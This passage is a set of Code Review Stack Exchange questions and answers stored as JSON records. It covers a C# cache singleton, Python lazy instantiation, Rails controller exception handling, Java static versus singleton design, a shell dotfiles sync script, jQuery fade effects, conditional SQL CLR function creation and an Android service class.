constructed:</p>\n<pre><code>PNGFileReader png1("File");\nPNGFileReader png2(vectorOfRawData);\n</code></pre>\n<p>Then you can perform actions on the objects.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T06:10:53.153",
"Id": "16741",
"Score": "0",
"body": "Thanks again for the input, I have made the respective changes, could you please take one last look at my updates to let me know if I have made them correctly?"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T19:09:47.197",
"Id": "10507",
"ParentId": "10477",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "10507",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T04:56:26.790",
"Id": "10477",
"Score": "1",
"Tags": [
"c++"
],
"Title": "PNG Filereader Implementation in C++: Using libpng"
}
|
10477
|
<p>After reading a bit about the <a href="http://msdn.microsoft.com/en-us/library/system.runtime.caching.aspx" rel="nofollow">System.Runtime.Caching</a> in the .net 4 framework I've added a simple Cache class to my application. </p>
<p>Can I improve it or add additional useful functionality? Typing it out here I see that the cache checking is somewhat duplicated; could this be refactored?</p>
<p>Note: the two properties SuperUsers and TemplateLocation are just for an example of how the class would be used. Most properties would be a string or list.</p>
<pre><code>/// <summary>
/// Cache class as singleton to make those often used
/// values that may change just that bit more speedy.
/// </summary>
/// <remarks>
/// Jon Skeets' singleton http://csharpindepth.com/Articles/General/Singleton.aspx
/// </remarks>
public sealed class Cacher
{
private readonly ObjectCache _cache = MemoryCache.Default;
public CacheItemPolicy Policy { get; set; }
private static readonly Cacher instance = new Cacher();
static Cacher()
{ }
private Cacher()
{
// expiration policy default
Policy = new CacheItemPolicy
{
AbsoluteExpiration = DateTimeOffset.Now.AddMinutes(10.0)
};
}
public static Cacher Instance
{
get { return instance; }
}
public string TemplateLocation
{
get
{
var loc = _cache["templatelocation"] as string;
if (string.IsNullOrEmpty(loc))
{
// hardcoded for test purposes
_cache.Set("templatelocation", getTemplateLocation(), Policy);
loc = _cache["templatelocation"] as string;
}
return loc;
}
}
public List<string> SuperUsers
{
get
{
var superUsers = _cache["superusers"] as List<string>;
if (superUsers == null)
{
// empty, so stick values in the cache
_cache.Set("superusers", GetSuperUsers(), Policy);
superUsers = _cache["superusers"] as List<string>;
}
return superUsers;
}
}
private string getTemplateLocation()
{
// hardcoded for test purposes
return @"C:\";
}
private List<string> GetSuperUsers()
{
// hardcoded for test purposes
return new List<string> {"John", "Anne", "Mark"};
}
public void Clear()
{
foreach (var cacheitem in _cache)
_cache.Remove(cacheitem.Key);
}
}
</code></pre>
<p>and using the class:</p>
<pre><code>string location = Cacher.Instance.TemplateLocation;
List<string> sUsers = Cacher.Instance.SuperUsers;
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T12:40:00.187",
"Id": "16704",
"Score": "0",
"body": "Is this supposed to be a caching class for just those two objects superusers and template location?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T13:13:45.793",
"Id": "16705",
"Score": "0",
"body": "no, i just used those as an example. I shall edit the code."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T03:25:58.757",
"Id": "16765",
"Score": "0",
"body": "Some of your get properties do too much work for a property. They also have side-effects (caching) I would replace them with `GetSomething(...)` methods, or methods with even better names that do hint at side effects."
}
] |
[
{
"body": "<p>What do you need the singleton for? You don't need it at all. Just use static members if there is always one instance of this class.</p>\n\n<p>I think the responsibilities of storing keys and values, and of returning and creating cache values should be separated.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T22:03:18.720",
"Id": "10513",
"ParentId": "10478",
"Score": "1"
}
},
{
"body": "<p>Something you might consider is switching it to be a static class instead of a singleton. The caching system itself is already performing the singleton process. </p>\n\n<p>To add functionality, if you change it to a static class you can add helpers to extend caching directly onto the object(s) itself like myDictionary.Cache() and myDictionary.LoadFromCache(). </p>\n\n<p>Reflection frequently gets used where it shouldn't. However, you could decorate the functionality to auto-infer the \"namespace.class.variablename\" which removes magic stings entirely and makes the extended functionality more fluent. I hope this helps.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T15:16:52.993",
"Id": "16872",
"Score": "0",
"body": "Thanks for the great suggestions, could you expand a little on the second point - about extending onto objects?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T19:22:52.987",
"Id": "16885",
"Score": "0",
"body": "Sure. If on the static class you add a method like \"public static void Cache(this Dictionary item, string saveAs)\" then you can just call myDictionary.Cache(\"userlist\"). (see http://msdn.microsoft.com/en-us/library/bb383977.aspx )"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T13:49:17.670",
"Id": "10530",
"ParentId": "10478",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "10530",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T10:50:20.713",
"Id": "10478",
"Score": "1",
"Tags": [
"c#",
"cache"
],
"Title": "Improvements and advice for my Cache class"
}
|
10478
|
<p>I've written some class which allows me to derive from it to make objects lazy-instantiated. Do you see notational improvements or maybe even cases where this method might not work (multiple inheritance etc.)? What else could I try?</p>
<pre><code>class LazyProxy(object):
def __init__(self, cls, *params, **kwargs):
self.__dict__["_cls"]=cls
self.__dict__["_params"]=params
self.__dict__["_kwargs"]=kwargs
self.__dict__["_obj"]=None
def __getattr__(self, name):
if self.__dict__["_obj"] is None:
self.__init_obj()
return getattr(self.__dict__["_obj"], name)
def __setattr__(self, name, value):
if self.__dict__["_obj"] is None:
self.__init_obj()
setattr(self.__dict__["_obj"], name, value)
def __init_obj(self):
self.__dict__["_obj"]=object.__new__(self.__dict__["_cls"], *self.__dict__["_params"], **self.__dict__["_kwargs"])
self.__dict__["_obj"].__init__(*self.__dict__["_params"], **self.__dict__["_kwargs"])
class LazyInit(object):
def __new__(cls, *params, **kwargs):
return LazyProxy(cls, *params, **kwargs)
class A(LazyInit): # classes meant to be lazy loaded are derived from LazyInit
def __init__(self, x):
print("Init A")
self.x=14+x
a=A(1)
print("Go")
print("15=", a.x)
</code></pre>
|
[] |
[
{
"body": "<p>Would be cool as a class decorator.</p>\n\n<pre><code>@Lazy\nclass MyFoo:\n ...\n</code></pre>\n\n<p>To me it seems like it would fit nicely as a class decorator because it's independent of what the class is representing. It has more to do with the way the class works internally than it does with the thing that the class embodies.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T15:15:24.893",
"Id": "16712",
"Score": "0",
"body": "Possibly. What would be differences? In particular inheritance? Since I will actually add some class functionality to LazyInit, I decided to go with the above solution to have \"all-in-one\""
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T13:51:20.260",
"Id": "10492",
"ParentId": "10481",
"Score": "2"
}
},
{
"body": "<p>I think the only real potential interaction with weirdness would be if you tried to define a <code>__new__</code> on a subclass; you'd just have to take some care not to do things that your lazy instantiation code wouldn't like.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T18:46:45.790",
"Id": "10547",
"ParentId": "10481",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T11:43:59.207",
"Id": "10481",
"Score": "3",
"Tags": [
"python",
"lazy"
],
"Title": "Lazy class instantiation in Python"
}
|
10481
|
<p>I am writing this code in the controller. I want to know is this the right way to write it or not. Because I don't want to write If else conditions and then either redirect or render the pages.</p>
<p>Here is my sample code :</p>
<pre><code>def create
@stud = Student.new params[:student]
@stud.save!
redirect_to students_path(@stud)
rescue
render 'new'
end
</code></pre>
|
[] |
[
{
"body": "<p>I know you wanted to avoid if / else, but I think i would probably write it like this:</p>\n\n<pre><code>def create\n @stud = Student.new params[:student]\n\n if @stud.save\n redirect_to @stud\n else\n render :action => :new\n end\nend\n</code></pre>\n\n<p>Which is the same amount of code but has two advantages:</p>\n\n<ul>\n<li><p>it is more readable by a human. Rescue is not a human concept in logic, whereas if / else is clearly understood.</p></li>\n<li><p>when you rescue here, you rescue from anything. <code>if @stud.save</code> is specific, if that fails it won't throw an exception, but will return false. So you are responding to the appropriate condition.</p></li>\n</ul>\n\n<p>One other note: if you want to stick with the rescue pattern, you could shorten the function by a single line by writing</p>\n\n<pre><code>@stud = Student.create! params[:student]\n</code></pre>\n\n<p>which is the same as writing:</p>\n\n<pre><code>@stud = Student.new params[:student]\n@stud.save!\n</code></pre>\n\n<p>ian.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T18:28:03.907",
"Id": "10502",
"ParentId": "10482",
"Score": "3"
}
},
{
"body": "<p><code>save</code> actually returns false only if before filters or validation cancel the operation. It throws database exceptions. Therefore it is, in my opinion, a good practice. I suggest not to rescue an exception that you do not really deal with. It may make the user crazy if the database index is broken but the application constantly says there is a validation error.</p>\n\n<p>You can rescue <code>ActiveRecord::RecordInvalid</code> if you 'really' do not want to use if statements. But actually that is the only thing that save does.</p>\n\n<p>You can use ActiveController::Responder. According to the <a href=\"http://api.rubyonrails.org/classes/ActionController/Responder.html\" rel=\"nofollow\">Rails Guide</a> it does the same thing as if-else statement (and looks beautiful):</p>\n\n<pre><code>def create\n @stud = Student.new(params[:student])\n flash[:notice] = 'Student was successfully created.' if @stud.save\n respond_with(@stud)\nend\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T09:50:35.397",
"Id": "10541",
"ParentId": "10482",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T11:52:25.147",
"Id": "10482",
"Score": "3",
"Tags": [
"ruby",
"ruby-on-rails"
],
"Title": "Controller code with exception handling"
}
|
10482
|
<p>I have class that handles HTTP requests:</p>
<pre><code>public final class RestHttpClient {
/*there is no fields*/
/**
* @param mhttp - HTTP request that need to send
* @return HttpResponse, that contains information about server response
*/
public HttpResponse sendRequest(final HttpRequestBase mhttp) throws IOException {
/*do stuff and get response from server*/
return response;
}
/*there a few more helpful methods*/
}
</code></pre>
<p>For the one hand - there is no need in instance of class, so I can use static methods. But for another hand singleton looks more reusable. So, I'm not sure which way to choose.</p>
<p>What is more readable and reusable? Static or singleton? Or should I just don't care about it and allow user to create instance of class?</p>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2013-01-27T15:08:11.197",
"Id": "33586",
"Score": "0",
"body": "[Killing the Helper class, part two](http://blogs.msdn.com/b/nickmalik/archive/2005/09/07/462054.aspx)"
}
] |
[
{
"body": "<p>If you don't need instance variables (even singularly) then go static methods, it will simplify your code since you won't have to deal with the logistics of singletons. Also, since your example is about http traffic, it will already have a distinct start and stop. So I would either use static methods or just a standard class if you need special awareness of the user.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T12:25:54.063",
"Id": "10487",
"ParentId": "10484",
"Score": "4"
}
},
{
"body": "<p>This:</p>\n\n<blockquote>\n <p>Or should I just don't care about it and allow user to create instance\n of class?</p>\n</blockquote>\n\n<p>If you plan to write unit tests, which is recommended these days: for your class AND the code that will use it.</p>\n\n<p><a href=\"http://googletesting.blogspot.co.uk/2008/05/tott-using-dependancy-injection-to.html\">http://googletesting.blogspot.co.uk/2008/05/tott-using-dependancy-injection-to.html</a></p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T17:01:20.517",
"Id": "16724",
"Score": "0",
"body": "Yes, I'm planning, but doesn't have experience yet. Read this article, but will there be problems with static methods?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T20:45:01.037",
"Id": "16732",
"Score": "0",
"body": "Basically it will be hard to mock static methods. And mocking would be an appropriate way of testing this kind of functionality. Google \"singleton static mock\" and read opinions of people who have more experience than me."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T16:21:58.353",
"Id": "10498",
"ParentId": "10484",
"Score": "7"
}
},
{
"body": "<p>According to your replies, I think answer should be:</p>\n\n<p>It's shouldn't be static methods. Because:</p>\n\n<ol>\n<li><code>static</code> is something common for all instances. Of course, their do the same task, but each instance should do it's own (just for clarification).</li>\n<li>There will be a problems with inheritance and unit tests.</li>\n</ol>\n\n<p>It's definately shouldn't be singleton. Because:</p>\n\n<ol>\n<li>There is no need in such limitations.</li>\n<li>Problems with inheritance</li>\n</ol>\n\n<p>So, looks like I should use instances.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T10:58:33.437",
"Id": "10524",
"ParentId": "10484",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "10498",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T12:04:55.100",
"Id": "10484",
"Score": "6",
"Tags": [
"java",
"singleton",
"static"
],
"Title": "Static methods or singleton?"
}
|
10484
|
<p>I'm doing the git dot files thing and created a script -- my first Unix shell script -- to synchronise the repo dot files with those in the user's home. It checks which dot files exist in the repo folder (except for <code>.git</code>) and then archives any clashes in the home directory before symlinking to the repo... I wrote this largely by experimentation and Googling. It works, but I'm just checking to see if there's anything I missed or if there are better solutions?</p>
<pre><code>#!/bin/sh
# Archive existing dot files and symlink to the new ones
# Run from ~/dotfiles
# All dot files apart from .git, . and ..
dotFiles=(`ls -da .* | grep -Pxv '\.git|\.+'`)
# Existing dot files to archive
toArchive=()
cd ~
# Archive: Find clashes and tarball+gzip them
for i in ${dotFiles[*]}; do
toArchive=(${toArchive[@]} `ls -d $i`)
done
if [ ${#toArchive[*]} != 0 ]; then
archiveFile="dotfiles"`date +%Y%m%d`".tar.gz"
tar czf $archiveFile ${toArchive[*]} --remove-files
fi
# Create symlinks
for i in ${dotFiles[*]}; do
dotFileLink="dotfiles/"$i
ln -s $dotFileLink $i
done
</code></pre>
|
[] |
[
{
"body": "<ol>\n<li><p>Consider putting the following at the beginning of every script:</p>\n\n<pre><code>set -e\nset -u\n</code></pre>\n\n<p>The first makes your script abort as soon as the first command exits with an error. This ensures that your script doesn’t try to operate after it’s failed. The second yields an error whenever you try to access an empty variable.</p></li>\n<li><p>I’m not sure why you’re using arrays for <code>dotFiles</code> and <code>toArchives</code> here. Using plain variables should work just as well.</p></li>\n<li><p>Instead of <code>`…`</code> it’s generally advised to use <code>$(…)</code>. This makes the expressions nestable and arguably more readable. Well …</p></li>\n</ol>\n\n<p>This leaves us with:</p>\n\n<pre><code>set -e\nset -u\n\ndotFiles=$(ls -da .* | grep -Pxv '\\.git|\\.+')\n\n# Existing dot files to archive\ntoArchive=''\n\ncd ~\n\n# Archive: Find clashes and tarball+gzip them\nfor i in $dotFiles; do\n toArchive=$toArchive $(ls -d $i)\ndone\nif [ \"$toArchive\" != \"\" ]; then\n archiveFile=\"dotfiles\"$(date +%Y%m%d)\".tar.gz\"\n tar czf $archiveFile $toArchive --remove-files\nfi\n\n# Create symlinks\nfor i in $dotFiles; do\n dotFileLink=\"dotfiles/\"$i\n ln -s $dotFileLink $i\ndone\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T14:28:11.057",
"Id": "16745",
"Score": "0",
"body": "Awesome! Thank you :) I used arrays because that's the type I'm used to iterating through."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T15:02:38.967",
"Id": "16746",
"Score": "0",
"body": "@Xophmeister Bash can iterate just fine through space-delimited strings. But I agree that it takes some getting used to when you come from any other language."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-14T16:57:14.363",
"Id": "17321",
"Score": "0",
"body": "@Konrad Rudolph +1 for `set -a` and `set -u`. Apparently I need to get more familiar with the `set` builtin."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T13:04:49.827",
"Id": "10528",
"ParentId": "10485",
"Score": "5"
}
},
{
"body": "<p>I have have an issue with the use of <code>ls</code> in</p>\n\n<pre><code> dotFiles=$(ls -da .* | grep -Pxv '\\.git|\\.+')\n</code></pre>\n\n<p>The problem is that <code>ls</code> is difficult to parse correctly. It doesn't handle spaces, newlines or non-ascii characters in a portable way. Also, it is often aliased by users in different ways. See <a href=\"http://mywiki.wooledge.org/ParsingLs\" rel=\"nofollow\">http://mywiki.wooledge.org/ParsingLs</a> for a comprehensive list of the pitfalls of parsing <code>ls</code>.</p>\n\n<p>In your case, I think that using find would be a better choice:</p>\n\n<pre><code>dotDirs=$(IFS=$`\\000`; find . -maxdepth 1 -type d -name \".*\" ! -name \".git\" ! -name \"..\" -print0 )\n</code></pre>\n\n<p>I also changed the name of the variable from <code>dotFiles</code> to <code>dotDirs</code>, because that's what you're actually testing for... it's true that directories are files in Unix, but it pays to be specific.</p>\n\n<p>In reality, your script is actually creating an array of directories which reside under dot directories in your current working directory. You can do this in one step using find, although it must be done using '-prune' to exclude the directories that you're not looking for, and that has a bit of a learning curve.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-14T16:30:45.497",
"Id": "10892",
"ParentId": "10485",
"Score": "4"
}
},
{
"body": "<p>For a first attempt, your effort is pretty reasonable. Here is another take on the same.</p>\n\n<p>An alternative way of collecting dot files\nWe have a function that generates the filenames.</p>\n\n<pre><code>dotfiles() {\n for i in .*; do echo $i; done | sed -e '^\\.*$/d'\n}\n\narchivefile=\"dotfiles\"$(date +%Y%m%d)\".tar.gz\"\n</code></pre>\n\n<p>We can depend upon tar to not create empty archives. So if the filelist is empty no tar files are created.</p>\n\n<pre><code>tar -czf --remove-files $archivefile $(dotfiles | comm -12 - <(cd ~; dotfiles) ) || exit 0\n\n# Create symlinks\ncur=$(pwd)\nfor i in $(dotfiles); do\n {cd ~; ln -s $cur/$i $i}\ndone\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-22T04:22:37.487",
"Id": "11069",
"ParentId": "10485",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "10528",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T12:20:37.310",
"Id": "10485",
"Score": "4",
"Tags": [
"shell",
"git",
"sh"
],
"Title": "Shell script to sync dotfiles repository"
}
|
10485
|
<p>The function of this code is to show/hide divs by way of fadeIn/fadeOut, starting with an empty div (home) and fading in one of the other divs (work,cms,contact,) on click, then fading out the last div and fading in the next on click, and then fading out any div and fading in 'panel' (an empty div) when you click on home.</p>
<pre><code><script type='text/javascript'>
$(function(){
$('.panel').hide();
$('.work_button').click(function(){
$('#cms,#contact').fadeOut(function(){
$('#work').fadeIn();
});
});
$('.cms_button').click(function(){
$('#work,#contact').fadeOut(function(){
$('#cms').fadeIn();
});
});
$('.contact_button').click(function(){
$('#cms,#work').fadeOut(function(){
$('#contact').fadeIn();
});
});
$('.home_button').click(function(){
$('.panel:visible').fadeOut();
});
});
</script>
<div class="menu">
<ul class="menu">
<li class="home_button">home</li>
<li class="work_button">work</li>
<li class="cms_button">cms</a></li>
<li class="contact_button">contact</a></li>
</ul>
</div>
<div class="panel" id="work">
<p>...</p>
</div>
<div class="panel" id="cms">
<p>...</p>
</div>
<div class="panel" id="contact">
<p>...</p>
</div>
</code></pre>
|
[] |
[
{
"body": "<p>I have no problem setting this up in html - it makes sense in this case.</p>\n\n<pre><code><div class=\"menu\">\n<ul class=\"menu\">\n<li class=\"home_button\">home</li>\n<li class=\"work_button\"><a href=\"#work\" data-fadeOut=\"#cms,#contact\">work</a></li>\n<li class=\"cms_button\"><a href=\"#cms\" data-fadeOut=\"#work,#contact\">cms</a></li>\n<li class=\"contact_button\"><a href=\"#contact\" data-fadeOut=\"#cms,#work\">contact</a></li>\n</ul>\n</div>\n</code></pre>\n\n<p>Set a target on each one</p>\n\n<pre><code>$(function() {\n $('li a', '.menu').click(function(e) {\n e.preventDefault();\n var target = $($(this).attr('href'));\n $($(this).data('fadeOut')).fadeOut(function(){ \n target.fadeIn();\n });\n })\n $('.panel').hide();\n $('.home_button').click(function(){\n $('.panel:visible').fadeOut();\n });\n})\n</code></pre>\n\n<p>You get the nifty coincidental benefit here of this working ok even without javascript since <code><a href=\"#id\"></a></code> also happens to be the the syntax for 'scroll-to element'</p>\n\n<p>Also, you should not name functions with an uppercase capital. Because javascript has no native way of determining which functions are meant to be run in a functional style and which are meant to be used as constructors with the <code>new</code> keyword, it is a very well known convention to use upper case names only for functions which are meant to be invoked with the <code>new</code> keyword. <a href=\"https://stackoverflow.com/questions/1540763/capitalization-convention-for-javascript-objects\">Learn more about javascript capitalization conventions here</a>.</p>\n\n<p><strong>Edit:</strong> Totally misread your code. I believe my rewrite now reflects what you're trying to do</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T14:51:11.473",
"Id": "10494",
"ParentId": "10489",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "10494",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T13:29:39.220",
"Id": "10489",
"Score": "1",
"Tags": [
"javascript",
"jquery",
"animation"
],
"Title": "Fade-in / fade-out effects for several buttons"
}
|
10489
|
<p>I only want to create this SQL function if the dependent Assembly exists.
I can do it using dynamic SQL, but it seems messy and I lose syntax checking (in
management studio). This function's dependency (for various reasons) may or may
not be available on an individual developers machine, and I don't want to
interrupt our local "get latest" process with an error if this is the case. </p>
<p><strong>Is there a better way?</strong></p>
<pre><code>--Attempt 1 (FAILS)
IF EXISTS (SELECT * FROM sys.assemblies WHERE name = 'SQL_CLR_Functions')
BEGIN
CREATE FUNCTION dbo.CLR_CharList_Split(@list nvarchar(MAX), @delim nchar(1) = N',')
RETURNS TABLE (str nvarchar(4000)) AS EXTERNAL NAME SQL_CLR_Functions.[Library.SQL.CLR.Functions].CLR_CharList_Split
END
--Attempt 2 (FAILS)
BEGIN TRY
CREATE FUNCTION dbo.CLR_CharList_Split(@list nvarchar(MAX), @delim nchar(1) = N',')
RETURNS TABLE (str nvarchar(4000)) AS EXTERNAL NAME SQL_CLR_Functions.[Library.SQL.CLR.Functions].CLR_CharList_Split
END TRY
BEGIN CATCH
END CATCH
--Attempt 3 (FAILS)
IF NOT EXISTS (SELECT * FROM sys.assemblies WHERE name = 'SQL_CLR_Functions')
BEGIN
GOTO END_CLR;
END
GO
CREATE FUNCTION dbo.CLR_CharList_Split(@list nvarchar(MAX), @delim nchar(1) = N',')
RETURNS TABLE (str nvarchar(4000)) AS EXTERNAL NAME SQL_CLR_Functions.[Library.SQL.CLR.Functions].CLR_CharList_Split
GO
END_CLR:
--Attempt 4 (WORKS!!!)
IF EXISTS (SELECT * FROM sys.assemblies WHERE name = 'SQL_CLR_Functions')
BEGIN
EXEC (N'CREATE FUNCTION dbo.CLR_CharList_Split(@list nvarchar(MAX), @delim nchar(1) = N'','')
RETURNS TABLE (str nvarchar(4000)) AS EXTERNAL NAME SQL_CLR_Functions.[Library.SQL.CLR.Functions].CLR_CharList_Split')
END
</code></pre>
|
[] |
[
{
"body": "<p>You could use the <a href=\"http://msdn.microsoft.com/en-us/library/ms188394.aspx\"><code>SET NOEXEC</code></a> statement, which controls whether the subsequent statements are executed (<code>OFF</code>) or not (<code>ON</code>). Use it in conjunction with your <code>EXISTS</code> test like this:</p>\n\n<pre><code>IF NOT EXISTS (SELECT * FROM sys.assemblies WHERE name = 'SQL_CLR_Functions')\n SET NOEXEC ON\nGO\nCREATE FUNCTION dbo.CLR_CharList_Split(@list nvarchar(MAX), @delim nchar(1) = N',')\nRETURNS TABLE (str nvarchar(4000)) AS EXTERNAL NAME SQL_CLR_Functions.[Granite.SQL.CLR.Functions].CLR_CharList_Split\nGO\nSET NOEXEC OFF\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-07-20T13:40:54.853",
"Id": "22387",
"Score": "0",
"body": "That's fantastic! Never knew about Set NoExec."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-07-20T06:01:01.750",
"Id": "13858",
"ParentId": "10490",
"Score": "17"
}
}
] |
{
"AcceptedAnswerId": "13858",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2012-03-30T13:46:02.083",
"Id": "10490",
"Score": "15",
"Tags": [
"sql",
"sql-server",
"t-sql"
],
"Title": "Conditional Create: must be the only statement in the batch"
}
|
10490
|
<p>I could use some feedback on the class I designed for the above purpose, the complete code is here:</p>
<p><a href="https://github.com/tom-dignan/android-switched-service/blob/master/src/com/tomdignan/android/libs/switchedservice/SwitchedService.java" rel="nofollow">https://github.com/tom-dignan/android-switched-service/blob/master/src/com/tomdignan/android/libs/switchedservice/SwitchedService.java</a></p>
<p>My main question is, does this make sense for its intended purpose?</p>
<p>But I will paste it all for convenience. Much of the class is explained in the doc-blocks.</p>
<pre><code>package com.tomdignan.android.libs.switchedservice;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.IBinder;
/**
* SwitchedService is a Service that can truly be turned on and off.
*
* Android's nomenclature for sending messages to a Service is "startService"
* when the task performed is really to "start if not started, and send a message".
* A call to stopService does not guarantee any sort of callback by the Service itself
* to be called. "onDestroy" is to be called "by the system to notify a Service that
* it is no longer used and is being removed" and therefore cannot be used to tell the
* service to "stop doing something" which is what would seem should be the intended
* purpose. This is really bothersome when calling the Service from a BroadcastReceiver,
* which cannot bind to the Service. This leaves only one solution, calling startService
* with an Intent that identifies whether the service is being started or stopped.
*
* @see http://developer.android.com/reference/android/app/Service.html
*/
abstract public class SwitchedService extends Service {
//=========================================================================
// Static Helpers for Special Start/Stop cases
//=========================================================================
/**
* Does the tedious work of starting the service. Vanilla case,
* no extras.
*
* @param context
* @throws NoSuchServiceException thrown if ComponentName is null, i.e.
* the service does not exist.
*/
public static void startService(Context context, Class<?> service)
throws NoSuchServiceException {
sendIgnitionMessage(context, service, START);
}
/**
* Stops the service. This wrapper is the most important one, because
* it has to call "startService" which is a counter-intuitive name
* if one intends to actually stop the service with said method call.
*
* The reason for this is that "stopService()" does not have a callback.
*
* This enables us to have an "onStop()" callback.
*/
public static void stopService(Context context, Class<?> service)
throws NoSuchServiceException {
sendIgnitionMessage(context, service, STOP);
}
/**
* Helper method that accomplishes the goal of both startService and
* stopService.
*
* @param context
* @param service
* @param ignition
* @throws NoSuchServiceException
*/
private static void sendIgnitionMessage(Context context, Class<?> service, int ignition)
throws NoSuchServiceException {
// Create the intent needed to start the service.
Intent intent = new Intent(context, service);
// Tell the service that this intent is meant to start/stop it.
intent.putExtra(EXTRA_IGNITION, ignition);
if (context.startService(intent) == null) {
throw new NoSuchServiceException();
}
}
//=========================================================================
// The exception that should be thrown when a ComponentName is null
//=========================================================================
public static class NoSuchServiceException extends Exception {
/** For serialization */
private static final long serialVersionUID = 1823049847998820645L;
}
/**
* Identifier for the EXTRA that must be sent in the Intent that
* starts the BetterService
*/
public static final String EXTRA_IGNITION = "IGNITION";
/** Identifier for when the service is being started */
public static final int START = 1;
/** Identifier for when the service is being stopped. */
public static final int STOP = 2;
/**
* Identifier for when the caller did not remember to use START
* or STOP to throw exception.
*/
public static final int WRONG = 3;
/** Implement onStart logic here */
public abstract void onStart();
/** Override this to hook service stops */
public abstract void onStop();
/**
* Calls either onStart or onStop depending on EXTRA_IGNITION. Always
* starts
*/
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
int ignition = intent.getIntExtra(EXTRA_IGNITION, WRONG);
switch (ignition) {
case START:
onStart();
break;
case STOP:
onStop();
stopSelf();
break;
case WRONG:
throw new IllegalStateException("You must specify START or STOP for EXTRA_IGNITION");
}
// We only want to start and stop it ourselves.
return START_NOT_STICKY;
}
//=========================================================================
// Unused
//=========================================================================
@Override
public IBinder onBind(Intent intent) {
// NOOP
return null;
}
}
</code></pre>
|
[] |
[
{
"body": "<p>Some small notes:</p>\n\n<ol>\n<li><p>Comments like this are unnecessary:</p>\n\n<pre><code> * @param context\n * @param service\n * @param ignition\n * @throws NoSuchServiceException\n</code></pre>\n\n<p>It says nothing more than the code already does, it's rather noise. (<em>Clean Code</em> by <em>Robert C. Martin</em>: <em>Chapter 4: Comments, Noise Comments</em>)</p></li>\n<li><pre><code>throw new NoSuchServiceException();\n</code></pre>\n\n<p>Consider filling the exception with some information which helps debugging (service, intent, etc., for example).</p></li>\n<li><p>Consider declaring the <code>onStartCommand</code> method as <code>final</code> to prevent accidental overriding.</p></li>\n<li><p>Have you considered using composition over inheritance? See: <em>Effective Java, 2nd Edition</em>, <em>Item 16: Favor composition over inheritance</em></p></li>\n</ol>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-09-09T21:15:28.437",
"Id": "15454",
"ParentId": "10496",
"Score": "2"
}
}
] |
{
